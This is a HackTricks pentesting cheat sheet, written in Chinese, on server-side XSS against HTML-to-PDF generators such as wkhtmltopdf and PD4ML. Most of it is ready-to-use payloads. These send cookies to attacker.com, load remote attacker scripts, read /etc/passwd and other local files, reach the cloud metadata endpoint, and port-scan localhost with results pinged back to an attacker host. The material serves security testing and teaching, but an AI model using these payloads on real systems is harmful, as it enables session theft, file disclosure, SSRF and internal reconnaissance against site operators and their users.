> For the complete documentation index, see [llms.txt](https://hacktricks.xsx.tw/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacktricks.xsx.tw/pentesting-web/xss-cross-site-scripting/server-side-xss-dynamic-pdf.md).

# Server Side XSS (Dynamic PDF)

<details>

<summary><strong>从零开始学习 AWS 黑客技术，成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS 红队专家）</strong></a><strong>！</strong></summary>

支持 HackTricks 的其他方式：

* 如果您想看到您的**公司在 HackTricks 中做广告**或**下载 PDF 版本的 HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
* 探索[**PEASS 家族**](https://opensea.io/collection/the-peass-family)，我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live) 上 **关注**我们。
* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。

</details>

## 服务器端 XSS（动态 PDF）

如果一个网页使用用户控制的输入创建 PDF，您可以尝试**欺骗**创建 PDF 的**机器人**以**执行任意的 JS 代码**。\
因此，如果**PDF 创建机器人发现**某种**HTML** **标签**，它将**解释**它们，您可以**滥用**这种行为来引起**服务器 XSS**。

请注意，`<script></script>` 标签并不总是有效，因此您需要一种不同的方法来执行 JS（例如，滥用 `<img`）。\
此外，请注意，在常规利用中，您将能够查看/下载创建的 PDF，因此您将能够查看您通过 JS **编写的所有内容**（例如使用 `document.write()`）。但是，如果您**无法看到**创建的 PDF，您可能需要通过向您**发出网络请求来提取信息**（盲目）。

### 流行的 PDF 生成工具

* **wkhtmltopdf** 以其将 HTML 和 CSS 转换为 PDF 文档的能力而闻名，利用 WebKit 渲染引擎。这个工具作为一个开源命令行实用程序可用，适用于各种应用程序。
* **TCPDF** 在 PHP 生态系统中提供了一个强大的 PDF 生成解决方案。它能够处理图像、图形和加密，展示了其为创建复杂文档提供的多功能性。
* 对于在 Node.js 环境中工作的人，**PDFKit** 提供了一个可行的选择。它使得可以直接从 HTML 和 CSS 生成 PDF 文档，为 Web 内容和可打印格式之间提供了桥梁。
* Java 开发人员可能更喜欢 **iText**，这是一个库，不仅有助于 PDF 创建，还支持高级功能，如数字签名和表单填充。其全面的功能集使其适用于生成安全和交互式文档。
* **FPDF** 是另一个 PHP 库，以其简单性和易用性而著称。它专为寻求简单方法进行 PDF 生成的开发人员设计，无需复杂功能。

## 攻击载荷

### 发现

```markup
<!-- Basic discovery, Write somthing-->
<img src="x" onerror="document.write('test')" />
<script>document.write(JSON.stringify(window.location))</script>
<script>document.write('<iframe src="'+window.location.href+'"></iframe>')</script>

<!--Basic blind discovery, load a resource-->
<img src="http://attacker.com"/>
<img src=x onerror="location.href='http://attacker.com/?c='+ document.cookie">
<script>new Image().src="http://attacker.com/?c="+encodeURI(document.cookie);</script>
<link rel=attachment href="http://attacker.com">
```

### SVG

先前的任何负载或以下负载都可以用在这个SVG负载中。一个访问Burpcollab子域的iframe和另一个访问元数据端点的iframe被放置为示例。

```markup
<svg xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1" class="root" width="800" height="500">
<g>
<foreignObject width="800" height="500">
<body xmlns="http://www.w3.org/1999/xhtml">
<iframe src="http://redacted.burpcollaborator.net" width="800" height="500"></iframe>
<iframe src="http://169.254.169.254/latest/meta-data/" width="800" height="500"></iframe>
</body>
</foreignObject>
</g>
</svg>


<svg width="100%" height="100%" viewBox="0 0 100 100"
xmlns="http://www.w3.org/2000/svg">
<circle cx="50" cy="50" r="45" fill="green"
id="foo"/>
<script type="text/javascript">
// <![CDATA[
alert(1);
// ]]>
</script>
</svg>
```

您可以在[**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)中找到许多**其他SVG有效负载**。

### 路径泄露

```markup
<!-- If the bot is accessing a file:// path, you will discover the internal path
if not, you will at least have wich path the bot is accessing -->
<img src="x" onerror="document.write(window.location)" />
<script> document.write(window.location) </script>
```

### 加载外部脚本

利用这个漏洞的最佳方法是滥用漏洞，使机器人加载您本地控制的脚本。然后，您将能够在本地更改有效负载，并使机器人每次都使用相同的代码加载它。

```markup
<script src="http://attacker.com/myscripts.js"></script>
<img src="xasdasdasd" onerror="document.write('<script src="https://attacker.com/test.js"></script>')"/>
```

### 读取本地文件 / SSRF

{% hint style="warning" %}
将 `file:///etc/passwd` 更改为 `http://169.254.169.254/latest/user-data` 例如尝试访问外部网页（SSRF）。

如果允许 SSRF，但**无法访问**感兴趣的域或 IP，请[查看此页面以获取潜在的绕过方法](/pentesting-web/ssrf-server-side-request-forgery/url-format-bypass.md)。
{% endhint %}

```markup
<script>
x=new XMLHttpRequest;
x.onload=function(){document.write(btoa(this.responseText))};
x.open("GET","file:///etc/passwd");x.send();
</script>
```

```markup
<script>
xhzeem = new XMLHttpRequest();
xhzeem.onload = function(){document.write(this.responseText);}
xhzeem.onerror = function(){document.write('failed!')}
xhzeem.open("GET","file:///etc/passwd");
xhzeem.send();
</script>
```

```markup
<iframe src=file:///etc/passwd></iframe>
<img src="xasdasdasd" onerror="document.write('<iframe src=file:///etc/passwd></iframe>')"/>
<link rel=attachment href="file:///root/secret.txt">
<object data="file:///etc/passwd">
<portal src="file:///etc/passwd" id=portal>
<embed src="file:///etc/passwd>" width="400" height="400">
<style><iframe src="file:///etc/passwd">
<img src='x' onerror='document.write('<iframe src=file:///etc/passwd></iframe>')'/>&text=&width=500&height=500
<meta http-equiv="refresh" content="0;url=file:///etc/passwd" />
```

```markup
<annotation file="/etc/passwd" content="/etc/passwd" icon="Graph" title="Attached File: /etc/passwd" pos-x="195" />
```

### 机器人延迟

```markup
<!--Make the bot send a ping every 500ms to check how long does the bot wait-->
<script>
let time = 500;
setInterval(()=>{
let img = document.createElement("img");
img.src = `https://attacker.com/ping?time=${time}ms`;
time += 500;
}, 500);
</script>
<img src="https://attacker.com/delay">
```

### 端口扫描

```markup
<!--Scan local port and receive a ping indicating which ones are found-->
<script>
const checkPort = (port) => {
fetch(`http://localhost:${port}`, { mode: "no-cors" }).then(() => {
let img = document.createElement("img");
img.src = `http://attacker.com/ping?port=${port}`;
});
}

for(let i=0; i<1000; i++) {
checkPort(i);
}
</script>
<img src="https://attacker.com/startingScan">
```

### [SSRF](/pentesting-web/ssrf-server-side-request-forgery.md)

这个漏洞可以很容易地转变成SSRF（因为你可以让脚本加载外部资源）。所以尝试利用它（读取一些元数据？）。

### 附件：PD4ML

有一些HTML转PDF引擎允许**为PDF指定附件**，比如**PD4ML**。你可以滥用这个功能**将任何本地文件**附加到PDF中。\
要打开附件，我用**Firefox打开文件，双击纸夹符号**来**存储附件**为一个新文件。\
使用Burp捕获**PDF响应**也应该**在PDF中以明文显示附件**。

{% code overflow="wrap" %}

```html
<!-- From https://0xdf.gitlab.io/2021/04/24/htb-bucket.html -->
<html><pd4ml:attachment src="/etc/passwd" description="attachment sample" icon="Paperclip"/></html>
```

{% endcode %}

## 参考资料

* <https://lbherrera.github.io/lab/h1415-ctf-writeup.html>
* <https://buer.haus/2017/06/29/escalating-xss-in-phantomjs-image-rendering-to-ssrflocal-file-read/>
* <https://www.noob.ninja/2017/11/local-file-read-via-xss-in-dynamically.html>
* <https://infosecwriteups.com/breaking-down-ssrf-on-pdf-generation-a-pentesting-guide-66f8a309bf3c>

<details>

<summary><strong>从零开始学习AWS黑客技术，成为英雄</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE（HackTricks AWS Red Team Expert）</strong></a><strong>！</strong></summary>

支持HackTricks的其他方式：

* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**，请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family)，我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**上关注**我们。
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。

</details>
